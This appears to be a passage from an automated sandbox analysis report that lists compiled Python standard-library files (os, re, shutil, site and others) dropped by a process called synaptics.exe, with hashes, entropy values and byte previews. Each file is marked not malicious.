              Preview:o.......:.-d.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.i.Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Cache lines from Python source files...This is intended to read lines from modules imported -- hence if a filename.is not found, it will look down the module search path for a file by.that name.......N)...getline..clearcache..checkcache..lazycachec....................C...s....t.......d.S.).z.Clear the cache entirely.N)...cache..clear..r....r.....7C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\linecache.pyr........s......r....c....................C...s8...t.|.|...}.d.|.....k.r.t.|...k.r.n...d.S.|.|.d.....S.d.S.).z~Get a line for a Python source file from the cache.. Update the cache if it doesn't contain an entry for this file already........)...getlines..len)...filename..lineno..module_globals..linesr....r....r....r........s..............r....c....................C...sR...|.t.v.r.t.|...}.t.|...d.k.r.t.|...d...S.z.t.|.|...W.S...t.y(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\locale.cpython-310.pyc.29935160

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):46188
              Entropy (8bit):6.062521422482692
              Encrypted:false
              SSDEEP:
              MD5:036DFCE15A639F6E95DA10BEA3397F27
              SHA1:5F8547EC73E5BDD62D6074C16F364AA63400FBFE
              SHA-256:626FEA2076BA31D86111A383E967FA0244E7F07E7F129F975BC959224CE4B8FE
              SHA-512:A0B26AE46384838BC746A1611B874390DA7E68E71B94CC57D8F969A3D5197FEDDFF0D34F52956F6E42EB6A38ED25AF1BC1C7F44DFE3B680612F73EB55AD0D9F6
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.8.......................@...sF"..d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.z.d.d.l.T.W.n%..e.yW......d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.d...Z...d.d.d...Z.Y.n.w.d.e...v.r_e.Z.d.e...v.rfe.Z.e.Z.i.Z.e.. e...d.d.....Z.d.d...Z!..d.d.d...Z"d.d...Z#e..$d...Z%..d.d d!..Z&..d.d"d#..Z'..d.d$d%..Z(..d.d&d'..Z)..d.d)d*..Z*d+d,..Z.d-d...Z+..d.d/d0..Z,e-f.d1d2..Z.d3d4..Z/d5d6..Z0e.Z1d7d8..Z2d9d:..Z3d;d<..Z4d=d>..Z5d?d@..Z6..d.dBdC..Z7e.f.dDdE..Z8..d.dFd...Z.e.f.dGdH..Z9z.d.dIl.m:Z:..W.n...e...y.......dJdK..Z:Y.n.w.z.e;..W.n...e<..y.........d.dLdM..Z=Y.n.w...d.dNdM..Z=i.dOdP..dQdP..dRdS..dTdU..dVdU..dWdX..dYdZ..d[d\..d]d^..d_d`..dadS..dbdc..ddde..dfdg..dhdS..didS..djdS..i.dkdl..dmdn..dodp..dqdr..dsdg..dtdu..dvdc..dwdx..dydz..d{de..d|d}..d~d...d.d...d.d...d.dU..d.d...d.d.....dXd.d.d.d.d.d.d\d^d`d.....Z>e?e>.@....D.].\.ZAZBeA.Cd.d...ZAe>.DeAeB......q.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\lzma.cpython-310.pyc.55420888

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):12123
              Entropy (8bit):5.379730837857742
              Encrypted:false
              SSDEEP:
              MD5:DBC7EFA3188DD4098F17145D71BB9659
              SHA1:5571B0C6E0162303C13D4E705D48FE820678C590
              SHA-256:F7AEB0D3F7C5A29338E296B29335FE16DB5BC9C6A9F5B45B18FAF61B4FDCDF6B
              SHA-512:AFAD754661F0D12A2AB85BCE2F2C4282981E30C7F9747D41CC74EC6EE3EE32D762AE892EA984562F46F896ED10A88B8DADEF5F9C66B0F3F9225E69C2163644C2
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dA5.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.Z.d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.S.).aS...Interface to the liblzma compression library...This module provides a class for reading and writing compressed files,.classes for incremental (de)compression, and convenience functions for.one-shot (de)compression...These classes and functions support both the XZ and legacy LZMA.container formats, as well as raw compressed data streams..)$Z.CHECK_NONEZ.CHECK_CRC32Z.CHECK_CRC64Z.CHECK_SHA256Z.CHECK_ID_MAXZ.CHECK_UNKNOWNZ.FILTER_LZMA1Z.FILTER_LZMA2Z.FILTER_DELTAZ.FILTER_X86Z.FILTER_IA64Z.FILTER_ARMZ.FILTER_ARMTHUMBZ.FILTER_POWERPCZ.FILTER_SPARC..FORMAT_AUTO..FORMAT_XZZ.FORMAT_ALONEZ.FORMAT_RAWZ.MF_HC3Z.MF_HC4Z.MF_BT2Z.MF_BT3Z.MF_BT4Z.MODE_FASTZ.MODE_NORMALZ.PRESET_DEFAULTZ.PRESET_EXTREME..LZMACompressor..LZMADecompressor..LZMAFile..LZMAError..open..compress..decompressZ.is_c

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\ntpath.cpython-310.pyc.23839064

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):15326
              Entropy (8bit):5.433495327208508
              Encrypted:false
              SSDEEP:
              MD5:EC66AC64D933A0061313011C87B8A268
              SHA1:2FDC5D069BDD7C6F04B6687742D0527BE385932F
              SHA-256:984364F9E84D71E7376D396CB91847639C87AFF9DB531A20E1308406FA4183D8
              SHA-512:DCAA3122E57188E472DCDDDC6A78CF2944CB23C6DEDDA721686EC5C3A44BDF94458420AA6382380B2F031588BABC0D053CD60815DE91DE3E1C3DD01EA1C74162
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dov.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.z.d.d.l.m.Z.m.Z.m.Z...d.d...Z.W.n...e.yK......d.d...Z.Y.n.w.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d d!..Z d"d#..Z!z.d.d$l"m#Z#..W.n...e.y.......d.Z#Y.n.w.d%d&..Z$d'd(..Z%d)d*..Z&d+d,..Z'd-d...Z(z.d.d/l"m)Z)..W.n...e.y.......e(Z*Y.n.w.d0d1..Z*z.d.d2l"m+Z+m,Z-..W.n...e.y.......e*Z.Y.n.w.d3d4..Z/d5d6..Z0d7d8..d9d:..Z.e1e.d;..o.e..2..d<..d=k.Z3dCd>d?..Z4d@dA..Z5z.d.dBl"m6Z7..W.d.S...e...y.......Y.d.S.w.)Dz.Common pathname manipulations, WindowsNT/95 version...Instead of importing this module directly, import os and refer to this.module as os.path...........\..;../z..;C:\binZ.nul.....N)...*)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirnameZ.commonprefixZ.getsizeZ.getmtimeZ.getatimeZ.getctime..islink..exists..lexists..isdir..isfile..ismount..expanduser..expandvars..normpath..abspath..curdir..pardir..sep..p

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\nturl2path.cpython-310.pyc.56034320

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):1770
              Entropy (8bit):5.54379568597743
              Encrypted:false
              SSDEEP:
              MD5:D7589DE62F4850B77A4B591789676592
              SHA1:DBD393E4DF610AED18BF043A20062815EFF26534
              SHA-256:4746EE16D588603001145CDD1A09C78FE5394F29A30F87E7E474F548AB2B67AB
              SHA-512:C90F9092982574319E15A09F663C1AD8151D3F61C8EB32E5EC7AB29EA1D84F847E0DBDCEAC9290559B4F15DF501CB655AC6F059FC8E33750D8BDBBB73FC467CC
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d...Z.d.d...Z.d.S.).z.Convert a NT pathname to a file URL and vice versa...This module only exists to provide OS-specific code.for urllib.requests, thus do not use directly..c....................C...s....d.d.l.}.d.d.l.}.|...d.d...}.d.|.v.r.|.d.d.....d.k.r |.d.d.....}.|...d...}.|.j...d...|.....S.|...d...}.t.|...d.k.sB|.d...d...|.j.v.rJd.|...}.t.|.....|.d...d.......}.|.d.....d...}.|.d...}.|.D.].}.|.rm|.d...|.j...|.....}.q_|...d...r||...d...r||.d.7.}.|.S.).z{OS-specific conversion from a relative URL of the 'file' scheme. to a file system path; not recommended for general use......N..:..|.....z.////......./..\.....z.Bad URL: .....)...string..urllib.parse..replace..split..parse..unquote..join..len..ascii_letters..OSError..upper..endswith)...urlr......urllib..components..comp..error..drive..path..r.....8C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\nturl2path.py..url2pathname....s*.............................................r....c........

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\operator.cpython-310.pyc.25164776

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):13531
              Entropy (8bit):4.847737012727401
              Encrypted:false
              SSDEEP:
              MD5:55DBFD34A3E1C39E209CF8A1D971C677
              SHA1:CD01D53A34FCFFDC52A58B6DF242FBDAF46AF9B1
              SHA-256:C1E3B25FE4C7F8E32C31032BECF64F30BBFF6AE074C3C73FB167C8ABA4638379
              SHA-512:18CA6DF49BAD21B074600FF8D9F2B27F679B60DB07D73299DB9775E2418535DAB372CFDB9BC45E8F0328F297602BC37678C60AC1A3B7AB32DC04DC85A8829988
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.+.......................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.e.Z.d$d%..Z.d&d'..Z.d(d)..Z.d*d+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z.d4d5..Z.d6d7..Z.d8d9..Z.d:d;..Z d<d=..Z!d>d?..Z"d@dA..Z#dBdC..Z$dDdE..Z%dFdG..Z&dHdI..Z'dqdJdK..Z(G.dLdM..dM..Z)G.dNdO..dO..Z*G.dPdQ..dQ..Z+dRdS..Z,dTdU..Z-dVdW..Z.dXdY..Z/dZd[..Z0d\d]..Z1d^d_..Z2d`da..Z3dbdc..Z4ddde..Z5dfdg..Z6dhdi..Z7djdk..Z8dldm..Z9z.d.dnl:T.W.n...e;y.......Y.n.w.d.dol:m.Z...e.Z<e.Z=e.Z>e.Z?e.Z@e.ZAe.ZBe.ZCe.ZDe.ZEe.ZFe.ZGe.ZHe.ZIe.ZJe.ZKe.ZLe.ZMe.ZNe.ZOe.ZPe.ZQe.ZRe.ZSe.ZTe ZUe!ZVe"ZWe$ZXe%ZYe'ZZe,Z[e-Z\e.Z]e/Z^e0Z_e1Z`e2Zae3Zbe4Zce5Zde6Zee7Zfe8Zge9ZhdpS.)ras....Operator Interface..This module exports a set of functions corresponding to the intrinsic.operators of Python. For example, operator.add(x, y) is equivalent.to the expression x+y. The function names are those used for special.methods; variants

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\os.cpython-310.pyc.20242008

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):31622
              Entropy (8bit):5.452742687122502
              Encrypted:false
              SSDEEP:
              MD5:07F3E6EAEAE5F509A027888F6C67F168
              SHA1:75925CFD633E821DF4D52867634BBABB84C7A40E
              SHA-256:B1C347715FD3B267D25C6B5FDF85B4DCAE811933BB09C964716EA55290DBEB70
              SHA-512:D7488F39BE6B8CD8EF5CC23BB8406847E1943E30EBC7F252879A45D0869771D4A608AB6B4208B528E7B77A936621E12F059A6FC616232637806E2C4F7133E30C
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d........................@...sh...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.e.e.....Z.e.j.Z.g.d...Z.d.d...Z.d.d...Z.d.e.v.rod.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.yK......Y.n.w.d.d.l.Z.z.d.d.l.m.Z...W.n...e.ya......Y.n.w.d.d.l.Z.e...e.e.......[.nId.e.v.r.d.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.y.......Y.n.w.d.d.l.Z.d.d.l.Z.e...e.e.......[.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.d.....e.e.j.d.<.d.d.l.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%..[.e.d.....r.e&..Z'd.d...Z(e)..Z*e(d.d.....e(d.d.....e(d.d.....e(d.d.....e(d.d ....e(d!d"....e(d#d$....e(d%d&....e(d'd(....e(d)d*....e(d+d,....e(d-d.....e(d/d0....e(d1d2....e(d1d3....e(d4d ....e*Z+e)..Z*e(d.d.....e*Z,e)..Z*e(d5d6....e(d7d.....e(d8d.....e(d9d:....e(d9d;....e(d<d=....e*.-e.....e(d>d?....e(d@d ....e(dAd ....e(dBdC....e.dD....r.e.dE....r.e(dFdD....e*Z.e)..Z*e(d.d.....e(d.d.....e(d.d.....e(dGdH....e(dId.....e.dJ....r.e(dKd.....e(d!d"....e(dLd ....e(dMd.....e(d.d.....e(d4d ....e(dNd.....e*Z/[*[.['[(d.Z0dOZ1dPZ2d.dSdT..Z3

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\posixpath.cpython-310.pyc.55713648

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):10553
              Entropy (8bit):5.330689975412085
              Encrypted:false
              SSDEEP:
              MD5:93FF28AEE966F490F26A26CCCD19D4CA
              SHA1:071B29846BBC4C08D0DD274D6996C459FEA53A16
              SHA-256:DAC6CD118A2F86C02C0320E455CBC5D1A41B77D51A46A1575B36187959258A6D
              SHA-512:5E5E47C824BDB1AA4720FBB78134FC604292B80F7DFA9F455E88EFEC359672DE6B4866DF274D0F8EEDBE119CB57C7CC03CE8092ED024B0B967F8BED0181C2474
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.A.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.a.d.a.d%d&..Z.d'd(..Z.d)d*..Z d+d,..d-d...Z!d/d0..Z"e.j#d1k.Z$d6d2d3..Z%d4d5..Z&d.S.)7a....Common operations on Posix pathnames...Instead of importing this module directly, import os and refer to.this module as os.path. The "os.path" name is an alias for this.module on Posix systems; on other systems (e.g. Windows),.os.path provides the same operations in a manner specific to that.platform, and is an alias to another module (e.g. ntpath)...Some of this can actually be useful on non-Posix systems too, e.g..for manipulation of the pathname component of URLs.........../..:z./bin:/usr/binNz./dev/null.....)...*)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirname..commonprefix..getsize..getmtime..getatime..getctime..islink..exis

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\quopri.cpython-310.pyc.30218304

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):5817
              Entropy (8bit):5.456421724306095
              Encrypted:false
              SSDEEP:
              MD5:4909540BE34C239538F48F978D3E8317
              SHA1:4FF39BD280BEA1B1232E50A59F734C142B37F2EE
              SHA-256:6BAF52E2E144497104D1986988F1F7073BA58D038666922F10F701B3E09AD7DE
              SHA-512:455D290AE88A9D6F22175D8293FCD466BF8BAA8F52C462E4176C8275C294E0C587601440A9365CC2CAC350D066E7C239F6E1415893B7F792730E65C837FB8A8F
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dV........................@...s....d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.z.d.d.l.m.Z.m.Z...W.n...e.y%......d.Z.d.Z.Y.n.w.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.k.rWe.....d.S.d.S.).zHConversions to/from quoted-printable transport encoding as per RFC 1521.)...encode..decode..encodestring..decodestring.....=.L...s....0123456789ABCDEF..........)...a2b_qp..b2a_qpNc....................C...sH...t.|.t...s.J...|.d.v.r.|.S.|.d.k.r.|.S.|.t.k.p#d.|.....k.o d.k.n.......S.).z.Decide whether a particular byte ordinal needs to be quoted... The 'quotetabs' flag indicates whether embedded tabs and spaces should be. quoted. Note that line-ending tabs and spaces are always encoded, as per. RFC 1521.. ..... ......_..... .....~)...isinstance..bytes..ESCAPE)...c..quotetabs..header..r.....4C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\quopri.py..needsquoting....s..............".r....c....................C...sB...t.|.t...r.t.|...d.k.s.J...t.|...}.t.t.t.|.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\random.cpython-310.pyc.30249408

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):22771
              Entropy (8bit):5.4378864739126325
              Encrypted:false
              SSDEEP:
              MD5:604517E9FB69952AAA9374BAE115BAAB
              SHA1:1A01D0025CD9FF10BE485227242A60759A6B9452
              SHA-256:EBCDA212AFC1239D18EBF371844EDD991C235D4A55217005C7271DA696B86A71
              SHA-512:CB38C4D4122DE27152065B1B3E637EB27C5104D02AD3CD16FB014F4744399731F53B00ABDEBEDD95FBA8A690DA7E3FA271A9E3C633A376BB4C7E180F6A58239D
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dg........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l m!Z"m#Z$..d.d.l%m&Z'..d.d.l(m)Z*m+Z,..d.d.l-m-Z...d.d.l.Z/d.d.l0Z0z.d.d.l1m2Z1..W.n...e3ym......d.d.l4m2Z1..Y.n.w.g.d...Z5d.e.d.....e.d.....Z6e.d...Z7d.e.d.....Z8d.Z9d.e9....Z:d.Z;G.d.d...d.e0j<..Z<G.d.d...d.e<..Z=e<..Z>e>j?Z?e>j@Z@e>jAZAe>jBZBe>jCZCe>jDZDe>jEZEe>jFZFe>jGZGe>jHZHe>jIZIe>jJZJe>jKZKe>jLZLe>jMZMe>jNZNe>jOZOe>jPZPe>jQZQe>jRZRe>jSZSe>jTZTe>jUZUd.d...ZVd#d.d...ZWeXe/d ..r.e/jYe>j?d!....eZd"k...r.eW....d.S.d.S.)$a....Random variable generators... bytes. -----. uniform bytes (values between 0 and 255).. integers. --------. uniform within range.. sequences. ---------. pick random element. pick random sample. pick weighted random sample. generate random permutation.. distributions on the real line:. ------------------------------. unifor

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\re.cpython-310.pyc.21602192

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):14250
              Entropy (8bit):5.213128859567665
              Encrypted:false
              SSDEEP:
              MD5:A49B7F648F28B46256720600E9E85133
              SHA1:74AF0C79DD19A8AF0A95EA2E5D3F110C29CDB42C
              SHA-256:BAE82439DF6088E23D89CDAEBB30B5812FFDDC2561F250BF1C288632BAB43830
              SHA-512:656B7422966DDC243DEE8BF224EED4ACF25F7BE99F9C27E8D4A932632589EE348BB56C3E42F8E92CAD502956CAF8D171D84E3F6BCEB5959164BF8436BA0B8B56
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-ds?.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y#......d.Z.Y.n.w.g.d...Z.d.Z.G.d.d...d.e.j...Z.e.....e.j.....e.j.Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d1d.d...Z.d1d.d...Z.d1d.d...Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d.d...Z.d0d.d...Z.d.d...d.D...Z.d d!..Z.e.e...d"d.....Z.e.e...d"d.....d"....Z.i.Z.d#Z d$d%..Z!e.."e ..d&d'....Z#d(d)..Z$d*d+..Z%d.d.l&Z&d,d-..Z'e&.(e.e'e!....G.d.d/..d/..Z)d.S.)2a....Support for regular expressions (RE)...This module provides regular expression matching operations similar to.those found in Perl. It supports both 8-bit and Unicode strings; both.the pattern and the strings being processed can contain null bytes and.characters outside the US ASCII range...Regular expressions can contain both special and ordinary characters..Most ordinary characters, like "A", "a", or "0", are the simplest.regular expressions; they simply match themselves. You can.concatenate ordinary characters, so last matches the string 'last'...Th

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\reprlib.cpython-310.pyc.25342088

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):5273
              Entropy (8bit):5.0403627284721555
              Encrypted:false
              SSDEEP:
              MD5:C8269705A200B0019AD1EED0BA9C223A
              SHA1:5AAD142FBCDCCF05D014A7DD1B85F174E6604E60
              SHA-256:8D184E6FD498674A981F1E418E8D7AAD38955D93C9D3D7B7F6BB1940B5E6748A
              SHA-512:0BD66849AD98B36038B2B8BDD2087856BE96B721812503950D72D4216E022AC31E3AC8581C2963B4CAA899A72E7692AD595F09A3426016B16E09A3D67CD608DC
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d4........................@...s\...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.d...Z.G.d.d...d...Z.d.d...Z.e...Z.e.j.Z.d.S.).zGRedo the builtin repr() (representation) but with limits on most sizes.)...Repr..repr..recursive_repr.....N)...islice)...get_ident.....c........................s......f.d.d...}.|.S.).zGDecorator to make a repr function return fillvalue for a recursive callc........................sX...t...........f.d.d...}.t...d...|._.t...d...|._.t...d...|._.t...d...|._.t...d.i...|._.|.S.).Nc........................sJ...t.|...t...f.}.|...v.r...S.....|.....z...|...}.W.....|.....|.S.....|.....w...N)...idr......add..discard)...self..key..result)...fillvalue..repr_running..user_function...5C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\reprlib.py..wrapper....s......................z<recursive_repr.<locals>.decorating_function.<locals>.wrapper..__module__..__doc__..__name__..__qualname__..__annotations__)...set..getattrr....r....r....r....r....).r....r......r....).r....r.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\selectors.cpython-310.pyc.30322944

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):17128
              Entropy (8bit):5.1826805713808906
              Encrypted:false
              SSDEEP:
              MD5:CE5FC33825270E09320E23A6F0C2D054
              SHA1:E5BF229B4CD7B1BF08A22596FAE332AD1D634AC8
              SHA-256:39741B0314057C87B600D0A25A099394750D6C83BCDC36C656B5B1CF029B0539
              SHA-512:2F4D3567A64F149E6EA330B51A8AB6BEF0196D31DE5C1C6D0C0A5261B2BAB28EE589F2BDBD9C14F3BDDEECBA2E90F8873C6F8F350C60B7A04AA59A42C4643EFE
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.N.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.d...Z.e.d.g.d.....Z.d.e._.e.j.d.k.rId.e.j._.d.e.j._.d.e.j._.d.e.j._.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...r.G.d.d...d.e...Z.e.e.d ..r.G.d!d"..d"e...Z.e.e.d#..r.G.d$d%..d%e...Z.e.e.d&..r.G.d'd(..d(e...Z.d)d*..Z.e.d&..r.e.Z.d.S.e.d ..r.e.Z.d.S.e.d#..r.e.Z.d.S.e.d...r.e.Z.d.S.e.Z.d.S.)+z|Selectors module...This module allows high-level and efficient I/O multiplexing, built upon the.`select` module primitives.......)...ABCMeta..abstractmethod)...namedtuple)...MappingN..........c....................C...s`...t.|.t...r.|.}.n.z.t.|.......}.W.n...t.t.t.f.y"......t.d...|.....d...w.|.d.k.r.t.d...|.......|.S.).z.Return a file descriptor from a file object... Parameters:. fileobj -- file object or file descriptor.. Returns:. corresponding file descriptor.. Raises:. ValueError if the object is invalid. z.I

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\shutil.cpython-310.pyc.55338968

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):38384
              Entropy (8bit):5.531901614316341
              Encrypted:false
              SSDEEP:
              MD5:7F6DA9DDCF6D60F9B20F436F439C39D5
              SHA1:0C500ABAE82760C5CABDD6686E88998FB0647409
              SHA-256:BE2F1CDFE89DF272059424776BFDD4A66648C56626B61D5ABE105E6BB1F182B9
              SHA-512:2D8EFF2A845E2A7F0D7DB059447D4C9AE5FEC9B0914FEC540C4259C98FEF699FC6F2D19F928226505AFB021165F04A7ED639222B28A7FC39610515251C3064A5
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s"...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.[.d.Z.W.n...e.y.......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yC......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yX......d.Z.Y.n.w.e.j.d.k.Z.d...Z.Z.e.j.d.k.rld.d.l.Z.n.e.rrd.d.l.Z.e.rvd.n.d.Z.e.e.d...o.e.j...d...a.e.o.e.e.d...Z.d.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e ..Z!G.d.d...d.e ..Z"d.d...Z#d.d...Z$e.f.d d!..Z%d.d"d#..Z&d$d%..Z'd&d'..Z(d(d)..Z)d.d*..d+d,..Z*d.d*..d-d...Z+e.e.d/....r.d.d*..d0d1..Z,n.d2d1..Z,d.d*..d3d4..Z-d.d*..d5d6..Z.d.d*..d7d8..Z/d9d:..Z0..d.d;d<..Z1d.d.e/d.d.f.d=d>..Z2e.e.j3d?....r@d@dA..Z4dBdC..Z5n.dDdA..Z4dEdC..Z5dFdG..Z6dHdI..Z7e.j8e.j.e.j9e.j:h.e.j;k...oje.j<e.j=v...oje.j.e.j>v.Z?d.dJdK..Z@e?e@_AdLdM..ZBe/f.dNdO..ZCdPdQ..ZDdRdS..ZEdTdU..ZFdVdW..ZG....d.dYdZ..ZH....d.d[d\..ZId]eHd^g.d_d.f.i.ZJe...r.eHd`g.dad.f.eJdb<.eIg.dcd.f.eJdd<.e...r.eHdeg.dfd.f.eJdg<.e...r.eHdhg.did.f.eJdj<.dkdl..ZKd.dndo..ZLdpdq..ZM

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\site.cpython-310.pyc.20216912

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):17403
              Entropy (8bit):5.511303314320356
              Encrypted:false
              SSDEEP:
              MD5:1F7BA7305C2A4B0147AAB41BDBF9C621
              SHA1:784E659AB7344DCFF1DBE7739CE1693772158087
              SHA-256:FF1F98B9AF0047928E7AB02CD4D89EF83D307704101ABBC68BCA9E37F296E21C
              SHA-512:82C4CBE5E534863F624E4EB14EE0C83727B6353145D40D09F568F29675BD6B82E0EC648A38BE121D660F7744AB9AD6BAFF00AD6B4ACD097988755639F7584662
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.Z.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.e.j.g.a.d.a.d.a.d.a.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d4d.d ..Z.d!d"..Z.d#d$..Z.d%d&..Z.d'd(..Z.d)d*..Z.d+d,..Z d-d...Z!d/d0..Z"e.j#j$s.e"....d1d2..Z%e&d3k.r.e%....d.S.d.S.)5a....Append module search paths for third-party packages to sys.path...****************************************************************.* This module is automatically imported during initialization. *.****************************************************************..This will append site-specific paths to the module search path. On.Unix (including Mac OSX), it starts with sys.prefix and.sys.exec_prefix (if different) and appends.lib/python<version>/site-packages..On other platforms (such as Windows), it tries each of the.prefixes directly, as well as with lib/site-packages appended. The.resulting directories, if they 